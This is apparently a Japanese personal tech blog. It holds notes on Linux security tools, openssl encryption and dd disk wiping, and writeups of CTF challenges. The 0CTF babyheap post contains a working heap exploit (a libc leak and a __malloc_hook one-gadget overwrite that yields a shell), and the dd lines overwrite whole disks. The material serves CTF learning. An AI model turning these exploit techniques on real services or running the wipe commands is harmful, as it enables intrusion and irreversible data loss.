fr33f0r4ll

自分用雑記

linuxのセキュリティツール

Linuxで使えるセキュリティツールの使い方のメモ。

ClamAV

アンチウイルスソフト。 avastとかより検知率は低いっぽいがないよりマシ。 定期的なシステム全体のスキャンなどもできる。 特にCLIから個別のファイルのスキャンができるのが便利。

# install
sudo apt install clamav
# scan
clamscan file
clamscan -i file # -iを付けると感染している疑いのあるファイルしか表示されない

rkhunter

ルートキット検知ツール。 システムファイルやコマンドのプログラムをチェックしてルートキットが仕込まれていないかを調べられる。 定期的に実行してメールを送信させることもできるっぽいけど、個人で使ってるくらいだと必要ないかな。

# install
sudo apt install rkhunter
# check local system
sudo rkhunter -c

チェックが終わると/var/log/rkhunter.logでログが確認できる。 そのままだと問題ないファイルでも警告が出てしまうので、環境に合わせてホワイトリストを設定するといい。 /etc/rkhunter.confが設定ファイルになる。

ufw

ファイアウォールiptablesのラッパーで、ubuntuではデフォルトで入っているはず。

sudo ufw enable # 有効化
sudo ufw default DENY # デフォルトのポリシーを設定、DENYにすると安全
sudo ufw allow 80/tcp # 開けておく必要があるポートやサービスの設定ができる

iptablesより楽に使えるので、公開サーバとかではなく個人で使うくらいなら十分じゃないかと思う。

lynis

システム全体をチェックしてくれる。 インストールするには公式のサイトの方法でやるのがいい。 aptなどでは古いものになってしまう。

# install
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys C80E383C3DE9F082E01391A0366C67DE91CA5D5F
apt install apt-transport-https
echo 'Acquire::Languages "none";' > /etc/apt/apt.conf.d/99disable-translations
echo "deb https://packages.cisofy.com/community/lynis/deb/ stable main" > /etc/apt/sources.list.d/cisofy-lynis.list
apt update
apt remove lynis
apt install lynis

# 使い方
sudo lynis audit system # チェック

基本的には/var/log/lynis-report.datから警告や推奨された対策を取っていくことになる。 チェックした後にどれほど堅牢なのかのスコアが表示されるので高得点を目指そう。

TODO

  • debsums
  • apt-show-versions
  • proccess accounting
  • sysstat
  • auditd

ddでディスク消去メモ

HDDのディスク消去したときのメモ。

fdisk -lで現在認識されているディスク一覧が確認できる。

内容をちゃんと消去するには0で上書きするのがいい。

dd if=/dev/zero of=/dev/sdX bs=4096

普通はこれで十分。

ランダムデータを書き込むとさらに復元が困難になる。

dd if=/dev/urandom of=/dev/sdX bs=4096

ddはデータのコピーとかにも使えるし便利。

Heap exploitationのお勉強メモ1

heap知らなさすぎてナウなpwnが解けないので少しずつやり始めました。 mallocとfreeのアルゴリズムここでお勉強した。

攻撃方法はshellphishのhow2heapでお勉強してる。 PoCプログラムに混じって置いてあるmalloc_playgroudが最高に良い。 全ての機能は使えてないけど、対話的にmalloc、freeして返されるアドレスを見れるのでfastbinとかsmallbinとかの挙動を実際に動かして確認できる。 PoCプログラムも説明がきちんとされているので分かりやすいし、その上参考になる過去のCTFの問題のリンクまで貼ってくれている。 至れり尽せりって感じだった。

その中でfastbin_dupのお勉強をしたのでそのメモ。

fastbin dup

サンプルとしてshellphish/how2heapのソースを最低限まで削ったものを使わせてもらう。

#include <stdio.h>
#include <stdlib.h>

int main()
{
    int *a = malloc(8);
    int *b = malloc(8);

    free(a);
    // free(a); // 2回連続で同じチャンクをfastbinsに繋ぐとエラーが出る
    free(b);
    free(a); // 間に別のチャンクを繋ぐとエラーが出ない

    malloc(8); // a
    malloc(8); // b
    malloc(8); // a!
}

double-freeができる必要があるはず、そしてfastbinでないとできないのである程度小さい領域がmallocできないといけない。 これをすると、mallocしたときに同じ領域を2回返させることができるようになる。

手順は、まず2回mallocしてfastbinのサイズの領域(64bit環境だと128バイトまで?)を2つ取得する。 同じサイズじゃないと同じbinsに繋がれないので、8バイトに揃えてる。 最初の領域がa、2回目の領域がbとする。

次にa -> b -> aの順番でfreeする、a -> aとやっちゃうとdouble-freeが検出されてプログラムが強制終了させられる。 この時点でfree済のfastbinとして[fastbins head] -> a -> b -> aって感じにaが2回繋がれることになる。

ここでさっきと同じサイズ(8バイト)をmallocすると、無駄にheap領域を使わないようにfreeされて使わなくなった領域を返すようになっている。 FILOになっているのでfreeした順とは逆順になってmallocで返される。 このとき、double-freeで2回登録しているので2回同じチャンクが返されることになる。

ちなみにsmall binやlarge binではdouble-freeはしっかり検出されるので同じようにやってもできないようになってる。

0CTF babyheap

http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html 例題として挙げられていた問題。 いまはfastbin_dup_into_stackの例題になっている。

あとでwriteupする。一年越しのリベンジ、人に聞いてようやくできた。

Writeupの解法

ヒープ領域でのバッファオーバーフローができるので、他のヒープの情報を改ざんして既に取得しているチャンクをもう一度取得し、freeすることでsmallbinのアドレスをリークさせる。
次に、リークしたアドレスからlibcのベースアドレスを計算し、そこからone gadget RCEのアドレスと__malloc_hookのアドレスを取得する。
最後にヒープ領域のfree済チャンクのfdを__malloc_hook近辺に書き換えて取得し、そこにone gadget RCEのアドレスを書き込む。
あとはmallocを呼び出すだけで__malloc_hookのone gadget RCEが起動してシェルに入れる。

ExploitもほとんどWriteupのパクリ、ちょっとだけ解説を足した。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='i386')
exe = './babyheap'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(
            '', )
    else:
        return process([exe] + argv, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

menu = {'alloc': '1', 'fill': '2', 'free': '3', 'dump': '4', 'exit': '5'}


def alloc(size):
    io.sendlineafter('Command: ', menu['alloc'])
    io.sendlineafter('Size: ', str(size))
    idx = int(io.recvline().replace('Allocate Index', ''))

    log.debug('alloc({})'.format(size))
    log.debug('alloc returns {}'.format(idx))

    return idx


def fill(idx, size, content):
    io.sendlineafter('Command: ', menu['fill'])
    io.sendlineafter('Index: ', str(idx))
    io.sendlineafter('Size: ', str(size))
    io.sendlineafter('Content: ', content)

    log.debug('fill({}, {}, {})'.format(idx, size, content))


def free(idx):
    io.sendlineafter('Command: ', menu['free'])
    io.sendlineafter('Index: ', str(idx))

    log.debug('free({})'.format(idx))


def dump(idx):
    io.sendlineafter('Command: ', menu['dump'])
    io.sendlineafter('Index: ', str(idx))

    log.debug('dump({})'.format(idx))

    return io.recvuntil('1. Allocate').replace('1. Allocate', '').replace(
        'Content: \n', '')


io = start()

# インデックスがNならidx[N]と書くようにする
alloc(0x20)  # idx[0]
alloc(0x20)  # idx[1]
alloc(0x20)  # idx[2]
alloc(0x20)  # idx[3]
alloc(0x80)  # idx[4]

free(1)
free(2)
# freeリストがfastbin[0x30]->idx[2]->idx[1]になる
# chunk_sizeとアライメントの関係で0x20を確保する場合、0x30が実際に確保されるサイズになる

# freeされたidx[2]のfdの末尾1バイトを書き換えて、idx[4]を指すようにする
payload = ''
payload += p64(0) * 5  # 32バイトは確保した領域、8バイトはアライメントの兼ね合いで発生した余剰領域
payload += p64(0x31)   # idx[1]のchunk_size、変えてしまわないように同じサイズを書き込む。0x1はprev_in_useフラグ
payload += p64(0) * 5  # 同様
payload += p64(0x31)   # 同様
payload += p8(0xc0)    # idx[2].fdの末尾を書き換える
# ASLRが有効でもヒープ領域開始位置は末尾が0x00で相対位置が同じになるので、0xc0でOK
fill(0, len(payload), payload)

# freeしたときのfastbinでのチェックを通すため、サイズを対応するfastbinのものに書き換える
payload = ''
payload += p64(0) * 5  # 同様
payload += p64(0x31)  # idx[4].chunk_sizeを0x31(fastbinのサイズ)に書き換え
fill(3, len(payload), payload)

alloc(0x20)  # fastbins[0x30]から取得、idx[2]だったチャンクが返る。新しいインデックスは1
alloc(0x20)  # idx[1]だったチャンクが返るはずだけど、idx[2].fdを書き換えたのでidx[4]のチャンクが返ってくる。インデックスは4

# この時点で、idx[2] == idx[4]になってる

# ここでtopチャンクのアドレスを取得するために、freeしてidx[4].fdをsmallbinsに繋ぐ
payload = ''
payload += p64(0) * 5
payload += p64(0x91)  # unsorted binに繋がれるように元のサイズを書き戻す
fill(3, len(payload), payload)
# 詳しくは理解してないけどtopチャンクと隣接してる場合はそのままtopチャンクに結合されてしまうらしく、それを防ぐためにalloc
alloc(0x80)  # idx[5]に入る
free(4)  # unsorted binに繋がれる

# この時点でもidx[2] == idx[4]になってる
# idx[4]をfreeしたため、idx[2].user_dataにはidx[4].fd, idx[4].bkが入っている
# idx[4].fdはtopチャンクを指しているっぽい
# topチャンクはlibcのメモリ領域に入っているので、相対位置を計算することでlibcのベースアドレスが分かる
libc_base = u64(dump(2)[:8]) - 0x3c4b78
log.info("libc_base: " + hex(libc_base))

alloc(0x68)  # 0x70のチャンクをunsorted binから取得する、インデックスは4
free(4)  # freeして、今度はfastbinsに繋ぐ

malloc_hook_offset = 0x3c4b10
malloc_hook = libc_base + malloc_hook_offset
adjusted_malloc_hook = malloc_hook + 0xd - 0x20
# Writeupの方を見た方が分かりやすい
# malloc_hookのアドレスをmallocで確保した領域として返させるために、いろいろと工夫している
# chunk_sizeがfastbinかどうかのチェックを突破するために、0x7ffff7...となっている部分をずらしてchunk_sizeが0x7fとなるようにする
# こうするとchunk_sizeが0x70のfastbinのチャンクと認識されて、チェックが突破できる
log.info('malloc_hook: 0x{:x}'.format(malloc_hook))
log.info('adjusted hook: 0x{:x}'.format(adjusted_malloc_hook))
payload = p64(adjusted_malloc_hook)  # 現在smallbinsに繋がれているチャンクのfdに、すこしずらしたmalloc_hookのアドレスを書き込む
# この時点でidx[2]はsmallbinsに繋がれているchunkを指している
# 書き込んでsmallbinsに繋がれているchunkのfdを上書きする
fill(2, len(payload), payload)
alloc(0x60)  # インデックスは4、smallbinsから取ってこられる
alloc(0x60)  # インデックスは6、idx[4].fdが改ざんされてmalloc_hookのちょっと上の方を指しているため、ここでadjusted_malloc_hookのアドレスが返されている

# one gadget RCEリスト、条件を満さないものがいくつかあるみたいだったので総当たりした
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one_gadgets[1]
log.info('one_gadget: 0x{:x}'.format(one_gadget))

# malloc_hookに該当する部分にone gadget RCEのアドレスを書き込む
# malloc_hookに設定されたアドレスは、malloc内で最初の方で関数として呼び出される
# つまり、ここでmalloc_hookに書き込んだ命令へのアドレスが次のmallocで実行されることになる
payload = '\x00' * 3
payload += p64(one_gadget)
fill(6, len(payload), payload)

# パース処理の問題で直接送る
# ここのmallocでmalloc_hookのone gadget RCEが実行される
io.sendlineafter('Command: ', menu['alloc'])
io.sendlineafter('Size: ', str(255))
io.interactive()

リンクされるlibcのメモ

pwnしてるときに知ったので簡単にメモ。

プログラムにlibc.so.6がリンクされるとき、ASLRによってランダム化されるのは7バイト分で、下3バイトは000で固定、上6バイトは0x00007fで固定になる。

リンクされたときのlibcのベースアドレスはlddコマンドで知ることができる。 何回か実行するとベースアドレスがランダム化されているのが分かる。

追記

lddはどうも正しい値を返さないらしい。 この記事によると環境変数LD_TRACE_LOADED_OBJECTSによって結果が変わる。

ASLRをオフにして実験してみた、実際はfish shellでやったけどbash記法で書く。

$ LD_TRACE_LOADED_OBJECTS=1 ldd some_program
linux-vdso.so.1 =>  (0x00007ffff7ffa000)
libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ffff7bae000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff79aa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff75e0000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd7000)
$ ldd some_program
linux-vdso.so.1 =>  (0x00007ffff7ffa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff780a000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd7000)

結果はこんな感じになった。出力されるものが1つ増えているけど、実際にはどの値も間違っていた。 間違っているというか、pwnでret2libcできなかった。

解決策

gdb-pedaを使えば正しい方の値が手に入る。 一度プログラムを実行させてメモリにロードしてからvmmap libcするとロードされたlibcの位置が分かる、一番最初のアドレスがベースアドレスになる。

例えば、以下の例の場合だとベースアドレスは0x7ffff7a0d000になる。少なくともret2libcはできるベースアドレスだった。

$ vmmap libc
Start              End                Perm  Name
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p  /lib/x86_64-linux-gnu/libc-2.23.so

ちなみにASLRが有効でもgdb環境下ではオフにされるので注意。

今度もっと詳しく調べてみよう。

追記その2

32bitのバイナリとlibcならlddで問題なくベースアドレスが取得できた。

Live USBでブートできなかったときのためのメモ

タイトル通り、USBでブートしようとしたらできなかったのでその解決方法。

古いPCにUSBブートでxubuntu入れようとしたらmissing operating systemの表示が出てブートできなかった。色々調べた結果、UNetBootinだとUSBにbootフラグが立たないときがあるらしい。

解決するにはGPartedかなにかでbootフラグを立ててやるだけでいい。 これでブートできた。

opensslでファイル暗号化

みんな見られたくない画像とか一杯ストレージにあるよな? そういうわけでopensslを使ってファイルを暗号化する方法をメモ。 自分一人が暗号化、復号化できればそれでいいので共通鍵方式のAESを使って暗号化する。速度的にRSAを使うより多分速いだろうし。

暗号化

openssl enc -e -aes-256-cbc -in secret.jpg -out secret.enc

パスワードだけ設定しなければならないので入力しよう、一応ファイルの先頭行なんかをパスワードとして渡せる-kfileなんかもあるがパスをどこかに書き込むのは抵抗ある。 パスを忘れたらまず復号できないので絶対に忘れないようにしよう。量子コンピュータとか完成したら復号できるかもな。 これでsecret.jpgは暗号化される、元のファイルは残ってしまうのでshredかなにかで削除しよう。 とはいえ、最近のファイルシステムじゃジャーナリングとかで残っちゃうらしい。その辺面白そうだしforenっぽいので調べてみたい。TODOリストの100個目くらいに追加しておこう。

opensslはサブコマンドとそのオプションを取るようになっている。 encは共通鍵のアルゴリズムで暗号化、復号化するらしい。

-eが暗号化の指定になる。

今回の例では-aes-256-cbcでAESの256bitを使ったが128bitもある、特に理由がなければbit長は長い方がいい。 最後のcbcは暗号化のモードで、これは直前のブロックも使って暗号化する方式になる。 よく推奨されるモードはcbcとctr、逆にecbは解読されやすいので絶対に使ってはいけない。 ちなみに復号するときも同じ方式じゃないといけないので注意。 他にはDESとかもあるけどAESが一番無難だし、十分な強度がある。 DESは鍵長が短すぎるので必要がない限り使うべきじゃない。 他のアルゴリズムも調べると面白そう。

-in-out入力と出力先の指定になる。 指定しないと標準入出力になるらしい、stdoutとstdinで指定しても標準入出力になる。

復号化

openssl enc -d -aes-256-cbc -in secret.enc -out decrypt.jpg

復号するには入力を暗号化されたファイルにして、-e-dに替えるだけでいい。

RSA

単にファイルを暗号化したいだけなら必要ないが、公開鍵方式で暗号化することもできる。

openssl genrsa -aes256 -out rsa.pem
openssl rsa -pubout -in rsa.pem -out rsa.pub.pem
openssl rsautl -encrypt -pubin -inkey rsa.pub.pem -in secret.jpg -out secret.enc
openssl rsautl -decrypt -inkey rsa.pem -in secret.enc -out decrypt.jpg

上から、AES256bitで暗号化された秘密鍵の生成、公開鍵の作成、暗号化、復号化の処理になる。 復号できる人と暗号化できる人を分けたいときとか、何度もパス入力するのめんどいときなんかにはこっちの方が使いやすいかもしれない。

SECCON CTF 2017 Quals writeup

チームで参加できたのでたくさん解けた。 僕が解いたのはputchar_music, vigenere3d, ps_and_qsの3つ。 チームは200位くらい。

コードはここ

putchar music

映画のタイトル当てろという問題。 TLにこの時点で分かってる人いて笑った。

Cのワンライナーが降ってくるので取り敢えずコンパイルmath.hがいるっぽいのでリンクすれば警告は出るがちゃんと動くプログラムが出力される。 実行すると無限ループしてバイナリを吐き出す。

タイトルにmusicとあるので、おそらく生の音声データか何かだろうと当たりを付けた。 linuxで実行できるとあったので多分コマンドラインで標準入力から音声データ受け付けるようなプレイヤーがあるんだろうなと決めつけて調べた。 すると、どうもplayaplayがあるらしいことが分かった。 とりあえずaplayの方にパイプしてみると、8bitっぽい音楽が流れはじめた。

これで解ける!と思いきや、ここで問題発生。 映画のタイトルがまったく分からない! 音楽のタイトルを調べてくれるサービスなんかも当たってみたが音が劣化してるのでヒットしない。 これはもうどうしようもないと思ってしばらくBGMにして流してた。 知ってそうなメンバーとありそうな候補話してるうちに正解を思い出した。 というわけで解けました。

こういう問題どうかと思います!(スターウォーズ見てない人)

vigenere3d

ウ゛ィジュネル暗号の置換表をさらにもう1次元拡張して用いるようになってる暗号化スクリプトが降ってくる。 スクリプト中に置換表生成部分が残っている。 また、暗号化するのに使う鍵が2つあるが、どうも1つの鍵を逆順にして用いてるらしい。 1つの鍵を使い回すのは大抵の場合よろしくない。

こういう換字式暗号は平文の一部が分かっていると対応する鍵が特定できたりする。 この暗号もそんな感じになっていて、平文か鍵のうちどちらかが特定できると、対応する暗号文の文字になるような平文の文字と鍵の文字の組み合せが特定できる(はず)。 正確に元の鍵とは一致しないけど違う鍵でも同じように復号されるようになるはずなので問題ないんじゃあないかな。

そして、平文の先頭は"SECCON{"になっていて、2つ目の鍵には1つ目の鍵が逆順になっているものが使われるので、鍵の先頭と末尾の7文字が特定可能になっていることになる。 そして伏せ字の数からして鍵の長さは14、つまり全部分かる。

解読用スクリプトはこれ。

import sys


def _l(idx, s):
    return s[idx:] + s[:idx]


s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
t = [ [_l((i+j) % len(s), s) for j in range(len(s))] for i in range(len(s))]

cipher = "POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9"
k1_len = 14
k2_len = 14


# first seven chars is SECCON{, so I can decrypto key's first seven and last seven.

s.find('S')


def specify_key(plain_char, cipher_char):
    table = t[s.find(plain_char)]

    for i in range(len(s)):
        for j in range(len(s)):
            if table[i][j] == cipher_char:
                return (i, j)


def get_key():
    p = 'SECCON{'
    c = cipher[:7]
    former = ''
    latter = ''

    for p_ch, c_ch in zip(p, c):
        f_i, l_i = specify_key(p_ch, c_ch)
        former += s[f_i]
        latter += s[l_i]

    return (former, latter)

def decrypto(cipher, key):
    k1 = key
    k2 = key[::-1]
    i1 = 0
    i2 = 0
    plain = ''

    for a in cipher:
        for index, table in enumerate(t):
            if table[s.find(k1[i1])][s.find(k2[i2])] == a:
                plain += s[index]
                break
        i1 = (i1 + 1) % len(k1)
        i2 = (i2 + 1) % len(k2)

    return plain

key = 'AAAAAAA_aZ2PK_'
# gocha! 'SECCON{Welc0me_to_SECCON_CTF_2017}'

PS and QS

RSA問題。

降ってくるのはpemファイルだったのでopenssl使って表示させた。 使い方憶えないとなぁ。

この時点で異なる公開鍵2つと暗号文1つが手に入る。 nは4096bitで単純に素因数分解はできそうになく、eは共通でよくある値(0x10001)だった。

この時点で出来そうな攻撃というとgcdかな?と思い試してみることにした。 2つのnが同じ素数を使っていた場合はこれで特定できる。 gcdはかなり効率が良いアルゴリズムがあって、大抵の実装はこのアルゴリズムなのでお手持ちの言語でgcdしてみる。 するとどうやら素数を使い回してるらしかった。

あとは単純な整数の割り算で他の素数も算出でき、2つの素数とeがあれば秘密鍵dを計算できる。 この計算はmodの逆元計算になるので、拡張gcdかなにかのアルゴリズムで解ける。 pythonならgmpyか何かに実装されている。

これで秘密鍵が分かったので、復号するだけである。 復号してみると、片方では最後の方にフラグが表示されていた。 解けた。

しかしこれ見落とすだろう、もう少し解けたことが分かりやすくならんかね。 フラグも適当に入れたら取れちゃいました!ってどこかのチームがやってそうなフラグだったし。

使ったスクリプトは以下。

(defparameter n1 #x00cfcfbbeea7df143a8ac208b1aa1d2f86545ac4cb588c94a3fb1c14ad91a4f0b936157c5a4b869c18a8b864f4726bf8fcdc020cb41042bac96784ab7d03f9374947efb0bc3d665831974340159ffc3db7c8e74b6390fda6eec30b81c6ff624e8d3f5b17bfb7a5c7ffd8ecf4e6518b393abefddd0faeba4308746ba63f8106b59d7e058943a00131a7d4e538c464b270577647edbc478cc1ce9585efe877305b3a7c2e7c44db5475eddadc345a2c90a946771cac0a454cdbcb461f2840e7613c83e9cecc94037fa09bb9daa3f180562c01df0be6c51f0c06e8f0e2d6e1a5e50d0a28c3881140770a9f45934146b7f359b939ce23f0fa507a6f4e454571430952003c20f1d97a67140b6e5fcbfb3b376e4e24969aeb1d489cfc72af4f15a4788a1aa97c89756d1d4d94aa47e7cd3a81aecb92448cc92c77d2ef576aa0dbc1350862accddaddbce80357f0cd5b854dd0f8c4627fe4b718b24ecfe11ed24c3be22f00643bbed4ee5e345af176e5b76d23a2f80e0ec6f34e5718c62a70fe5570c28b807b44f22eadebd9b5ff906f6a85be88c0c8f6e5f880a51f17f84db1c2eefea8af34040444ced1a37df0e4f5f72cc3f50b7e427c8c2d8b6186ead762f0c444b3ca3a0103ed12a93bce9cae7479a229ebbc0a648eaa6f97e5051a66eb09ebd7348e92f75f125ebdc367e2a7d1da7759d41fae2e2635bf4b7a7f91becab3ac7d05bd)

(defparameter n2 #xBB33CC7FCC8ECAF3BF9ED95C583792E1EC6B80EE875EC2064DBCF07595C8344923BF536524D4E0A75574C7798C73B197DD2B1B42054B1E49CB45FBF04E6F114CF8A365C3DF3645524F778268038A3FA26802E9D1EDBFBB5EDFB5A0C375370D7F10F57DABBD4F771DAD3632F01B9BCE10489966EE882DAB17A33B786AA5F73165A54051300B1DF9280392A3EDE9D3FC9C4D8A6A06351F6EF3598E8DE2B39D3B19AF64A1716CD15826C3F24CB13DEB722C3A03EF1D2BE2D0A5A6E210FF5D018367BE3BF99EA26BA006E5164A4DD55AABCD449DE5CE1864825DC160E50D509EB0E6FE723EF182681EDDB94084B83EC9E2E943E87CB87509AB0FD9B1CA22C1CEAFF39FCACF6729FC0E0578670D87D7F0F9CCBE09CB3E12CEB895572A9979D10BFDBFAFA260568D8DB184BE12B3E3193E07729CE3C1D9CD8283ED6983A06388036A0A70294F23392944778280E7DE9F60163A8150E30FF4A4EA02792CBE8305BAA2E99AFE51E17DAFC56BE0D384147BCD38E9D12934EC712622217773A4B3851A9B0C6C7C3E01F6111A1E1A557F4E2AE4A247CE9B75CCCCB1819825F3054AA1C055BD3E2340093AE2EF1D0FA5A176825EFDF79507027F5104080009142F0D43E2F10CFAD220813BBB9014D4F4325EDAC538FB5E82B753E2AD3B24607D7380AA64FCB98B59EA8B5A736B809383248CECE0B17255EA559E90127F778AF6D7E8A66DAD91)

(defparameter e #x10001)

(require 'sb-mpfr) ;; FIX:
(ql:quickload :hackrsa)

(defparameter p (hackrsa:gcd-attack n1 n2))

(defparameter q1 (/ n1 p))
(defparameter q2 (/ n2 p))

(defparameter d1 (hackrsa:private-key e p q1))
(defparameter d2 (hackrsa:private-key e p q2))

(defparameter cipher (with-open-file (in "cipher"
                     :element-type '(unsigned-byte 8))
               (let ((dec 0))
             (loop for b = (read-byte in nil nil)
                   if b
                 do (setf dec (+ (* dec (expt 2 8)) b))
                   else
                 do (return dec)))))

(defparameter p1 (hackrsa:decrypto cipher d1 n1))
(defparameter p2 (hackrsa:decrypto cipher d2 n2))

(print (hackrsa:decode-string p1))
(print (hackrsa:decode-string p2))

n1の方がフラグのある平文になる。

感想

pwn厳しい。

チームでやると盛り上るし、余裕もできるから楽しい。 ただ、カバーするやや範囲が被ってるために解けないジャンルが...